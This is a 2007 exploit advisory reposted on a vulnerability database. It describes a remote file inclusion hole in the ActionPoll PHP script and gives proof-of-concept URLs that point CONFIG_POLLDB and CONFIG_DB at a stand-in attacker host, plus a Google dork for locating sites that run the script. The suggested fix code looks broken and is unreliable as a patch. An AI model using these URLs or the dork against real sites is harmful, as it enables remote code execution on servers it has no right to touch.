ActionPoll Script (actionpoll.php) Remote File Include // starhack.org

2007.04.19
Credit: SekoMirza
Risk: High
Local: No
Remote: Yes
CWE: CWE-Other


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

-------------------------------------------------- ActionPoll Script (actionpoll.php) Remote File Include -------------------------------------------------- Author : SekoMirza Date Found : April 14 2007 Location : French // ... Critical Lvl : critical Impact : System access Where : From Remote -------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~ Application : ActionPoll PhpOpenChat version : 1.1.0 vendor : http://www.vclcomponents.com/PHP/Polls_and_Voting/Actionpoll-info.html -------------------------------------------------- Description: ~~~~~~~~ Actionpoll 1.1.2002 - PHP / Polls and Voting Actionpoll is generated in PHP language which provides facilities to manage voting and polling data on portal systems. Unlimited options can be... -------------------------------------------------- Vulnerability: ~~~~~~~~~~~ vulnerability script in actionpoll.php // DataReaderWriter.php in actionpoll.php include($CONFIG_POLLDB); -- in db/DataReaderWriter.php include($CONFIG_DB); Proof Of Concept: ~~~~~~~~~~~~ [script path]/actionpoll.php?CONFIG_POLLDB=http://evil_scripts? [script path]/db/DataReaderWriter.php?CONFIG_DB=http://evil_scripts? -------------------------------------------------- google d0rk: ~~~~~~~ "Action Poll" -------------------------------------------------- F!X: ~~~ -open actionpoll.php -write this code before wrong code include ("CONFIG_POLLDB"); if($CONFIG_POLLDB != $xCONFIG_POLLDB) { exit; } -save and exit. -------------------------------------------------- Shoutz: ~~ ~ My Sweet -> Caramel ~ For Support -> Hypn0sis // Shad0wMan ~ For Support Also -> www.starhack.org ~ My Bro -> PhantomOrchid ----------------------EOF-------------------------


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top